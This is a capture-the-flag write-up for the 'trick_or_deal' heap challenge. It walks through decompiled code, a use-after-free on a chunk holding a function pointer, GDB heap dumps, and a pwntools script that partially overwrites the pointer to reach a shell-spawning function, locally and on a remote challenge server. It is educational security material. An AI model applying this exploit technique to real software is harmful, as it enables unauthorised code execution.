Trick or Deal
8 minutes to read
We are given a 64-bit binary called trick_or_deal
:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'
Reverse engineering
If we use Ghidra, we will find the following decompiled source code for function main
:
undefined8 main(undefined8 param_1, undefined8 param_2) {
undefined8 in_R9;
setup();
fprintf(stdout, "%s %s Welcome to the Intergalactic Weapon Black Market %s\n", &DAT_0010123c, &DAT_00101241, &DAT_0010123c, in_R9, param_2);
fprintf(stdout, "\n%sLoading the latest weaponry . . .\n%s", &DAT_0010128b, &DAT_00101241);
sleep(3);
update_weapons();
fflush(stdout);
menu();
return 0;
}
It is calling update_weapons
:
void update_weapons() {
storage = (char *) malloc(0x50);
strcpy(storage, "\nThe Lightsaber\n\nThe Sonic Screwdriver\n\nPhasers\n\nThe Noisy Cricket\n");
*(code **) (storage + 0x48) = printStorage;
}
Basically, it allocates a chunk on the heap (saved in the global variable storage
) with size 0x50
bytes, copies a string inside and a pointer to function printStorage
in the last 8 bytes. This is printStorage
:
void printStorage() {
fprintf(stdout, "\n%sWeapons in stock: \n %s %s", &DAT_0010128b, storage, &DAT_00101241);
}
Nothing too interesting at all. It could be used to leak heap metadata with storage
is freed, but it is not necessary.
After update_weapons
, inside main
, function menu
is called:
void menu() {
char option[3];
memset(option, 0, 3);
while (true) {
while (true) {
while (true) {
fwrite("\n-_-_-_-_-_-_-_-_-_-_-_-_-\n", 1, 0x1b, stdout);
fwrite("| |\n", 1, 0x1a, stdout);
fwrite("| [1] See the Weaponry |\n", 1, 0x1a, stdout);
fwrite("| [2] Buy Weapons |\n", 1, 0x1a, stdout);
fwrite("| [3] Make an Offer |\n", 1, 0x1a, stdout);
fwrite("| [4] Try to Steal |\n", 1, 0x1a, stdout);
fwrite("| [5] Leave |\n", 1, 0x1a, stdout);
fwrite("| |\n", 1, 0x1a, stdout);
fwrite("-_-_-_-_-_-_-_-_-_-_-_-_-\n", 1, 0x1a, stdout);
fwrite("\n[*] What do you want to do? ", 1, 0x1d, stdout);
read(0, option, 2);
if (option[0] != '2') break;
buy();
}
if (option[0] < '3') break;
if (option[0] == '3') {
make_offer();
} else {
if (option[0] != '4') goto LAB_0010113e;
steal();
}
}
if (option[0] != '1') break;
(**(code **) (storage + 0x48))();
}
LAB_0010113e:
fprintf(stdout,"\n[*] Don\'t ever come back again! %s\n", &DAT_001014e1);
/* WARNING: Subroutine does not return */
exit(0);
}
It looks like a menu for a heap exploitation challenge. The first option is implemented in the same function ("See the Weaponry"
), which will call the function at *(code **) (storage + 0x48)
(legitimately, printStorage
). Then, we have more options:
Normal function
This is buy
:
void buy() {
long in_FS_OFFSET;
undefined item[72];
long canary;
canary = *(long *) (in_FS_OFFSET + 0x28);
fwrite("\n[*] What do you want!!? ", 1, 0x19, stdout);
read(0, item, 71);
fprintf(stdout, "\n[!] No!, I can\'t give you %s\n", item);
fflush(stdout);
fwrite("[!] Get out of here!\n", 1, 0x15, stdout);
if (canary != *(long *) (in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
}
It only allows us to enter data that will be printed out as a string. We could use this function to leak values from the stack, since strings in C terminate in a null byte and we can fill the stack up to a certain byte in order to leak a memory address. However, this is not necessary in this challenge.
Allocation function
This is make_offer
:
void make_offer() {
char answer[3];
size_t size;
size = 0;
memset(answer, 0, 3);
fwrite("\n[*] Are you sure that you want to make an offer(y/n): ", 1, 0x37, stdout);
read(0, answer, 2);
if (answer[0] == 'y') {
fwrite("\n[*] How long do you want your offer to be? ", 1, 0x2d, stdout);
size = read_num();
offer = malloc(size);
fwrite("\n[*] What can you offer me? ", 1, 0x1c, stdout);
read(0, offer, size);
fwrite("[!] That\'s not enough!\n", 1, 0x17, stdout);
} else {
fwrite("[!] Don\'t bother me again.\n", 1, 0x1b, stdout);
}
}
Basically, it allows us to allocate a new chunk of whatever size and fill its content (no overflows).
Free function
This one is steal
:
void steal() {
fwrite("\n[*] Sneaks into the storage room wearing a face mask . . . \n" ,1, 0x3d, stdout);
sleep(2);
fprintf(stdout, "%s[*] Guard: *Spots you*, Thief! Lockout the storage!\n", &DAT_0010131e);
free(storage);
sleep(2);
fprintf(stdout, "%s[*] You, who didn\'t skip leg-day, escape!%s\n", &DAT_0010128b, &DAT_00101241);
}
This one allows us to free the global variable storage
, which was a chunk sized 0x50
bytes. Notice that the global variable storage
is not set to NULL
.
Win function
There is another function called unlock_storage
, which is not used in the whole code, but it exists in the binary:
void unlock_storage() {
fprintf(stdout, "\n%s[*] Bruteforcing Storage Access Code . . .%s\n", &DAT_001014a6, &DAT_0010149e);
sleep(2);
fprintf(stdout, "\n%s* Storage Door Opened *%s\n", &DAT_0010128b, &DAT_001014e1);
system("sh");
}
It will pop a shell when called.
Exploit strategy
Since the objective is to spawn a shell, we will aim to call unlock_storage
, obviously. Moreover, the location of printStorage
inside the storage
chunk is very juicy. Therefore, the idea is to modify the function pointer at *(code **) (storage + 0x48)
to be the address of unlock_storage
, so that we can use option 1
to spawn a shell.
Notice that PIE is enabled, which means that addresses within the binary are random. However, the lower bits of the addresses are not random, so we can still modify only a few bytes to turn printStorage
into unlock_storage
. There is no need to leak a memory address within the binary to compute the base address and bypass PIE (although it is possible using buy
or printStorage
).
Using steal
, we will free the storage
chunk. However, free
only places the chunk in a free-list to be used later, it does not remove the contents. Then, when calling malloc
with a size of 0x50
, malloc
will check if there’s an available chunk in the corresponding free-list before requesting memory to the kernel. As a result, we can use make_offer
to require a 0x50
-sized chunk, so that we will get the original storage
chunk with almost all data untouched (for instance, the pointer to printStorage
). This is a kind of Use After Free vulnerability, since we can reuse data that was freed.
Debugging with GDB
To visualize the strategy, we can use GDB to analyze the heap:
$ gdb -q trick_or_deal
Reading symbols from trick_or_deal...
(No debugging symbols found in trick_or_deal)
gef➤ run
Starting program: ./trick_or_deal
💵 Welcome to the Intergalactic Weapon Black Market 💵
Loading the latest weaponry . . .
-_-_-_-_-_-_-_-_-_-_-_-_-
| |
| [1] See the Weaponry |
| [2] Buy Weapons |
| [3] Make an Offer |
| [4] Try to Steal |
| [5] Leave |
| |
-_-_-_-_-_-_-_-_-_-_-_-_-
[*] What do you want to do? ^C
Program received signal SIGINT, Interrupt.
0x00007ffff7ee3002 in read () from ./glibc/libc.so.6
gef➤ heap chunks
Chunk(addr=0x555555603010, size=0x290, flags=PREV_INUSE)
[0x0000555555603010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................]
Chunk(addr=0x5555556032a0, size=0x60, flags=PREV_INUSE)
[0x00005555556032a0 0a 54 68 65 20 4c 69 67 68 74 73 61 62 65 72 0a .The Lightsaber.]
Chunk(addr=0x555555603300, size=0x20d10, flags=PREV_INUSE)
[0x0000555555603300 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................]
Chunk(addr=0x555555603300, size=0x20d10, flags=PREV_INUSE) ← top chunk
gef➤ x/20gx 0x555555603290
0x555555603290: 0x0000000000000000 0x0000000000000061
0x5555556032a0: 0x67694c206568540a 0x0a72656261737468
0x5555556032b0: 0x6e6f53206568540a 0x7765726353206369
0x5555556032c0: 0x0a0a726576697264 0x0a73726573616850
0x5555556032d0: 0x696f4e206568540a 0x6b63697243207973
0x5555556032e0: 0x00000000000a7465 0x0000555555400be6
0x5555556032f0: 0x0000000000000000 0x0000000000020d11
0x555555603300: 0x0000000000000000 0x0000000000000000
0x555555603310: 0x0000000000000000 0x0000000000000000
0x555555603320: 0x0000000000000000 0x0000000000000000
The above output shows that there’s a 0x50
-sized chunk holding a string and a pointer (0x0000555555400be6
). This pointer is printStorage
:
gef➤ x 0x0000555555400be6
0x555555400be6 <printStorage>: 0x4f058b48e5894855
And unlock_storage
is located at 0x555555400eff
:
gef➤ p unlock_storage
$2 = {<text variable, no debug info>} 0x555555400eff <unlock_storage>
Notice that printStorage
ends in 0x0be6
and unlock_storage
ends in 0x0eff
, the rest of the address’s bytes are the same.
Exploit development
Therefore, we will call steal
and then make_offer
with a size of 0x50
to take the original chunk. We will fill 0x48
bytes with junk data and modify the last two bytes of the function pointer to turn printStorage
into unlock_storage
. Finally, we can use option 1
. All the process is written in this Python script:
def main():
p = get_process()
p.sendlineafter(b'[*] What do you want to do? ', b'4')
p.sendlineafter(b'[*] What do you want to do? ', b'3')
p.sendlineafter(b'[*] Are you sure that you want to make an offer(y/n): ', b'y')
p.sendlineafter(b'[*] How long do you want your offer to be? ', str(0x50).encode())
payload = b'A' * 0x48 + p16(context.binary.sym.unlock_storage & 0xffff)
p.sendafter(b'[*] What can you offer me? ', payload)
p.sendlineafter(b'[*] What do you want to do? ', b'1')
p.interactive()
As expected, we get a shell locally:
$ python3 solve.py
[*] './trick_or_deal'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'
[+] Starting local process './trick_or_deal': pid 10984
[*] Switching to interactive mode
[*] Bruteforcing Storage Access Code . . .
* Storage Door Opened *
$ ls
glibc solve.py trick_or_deal
Flag
Let’s try remotely:
$ python3 solve.py 206.189.28.76:31473
[*] './trick_or_deal'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'
[+] Opening connection to 206.189.28.76 on port 31473: Done
[*] Switching to interactive mode
[*] Bruteforcing Storage Access Code . . .
* Storage Door Opened *
$ ls
flag.txt glibc ld-2.31.so libc-2.31.so trick_or_deal
$ cat flag.txt
HTB{tr1ck1ng_41nt_ch34t1ng}
The full exploit code is here: solve.py
.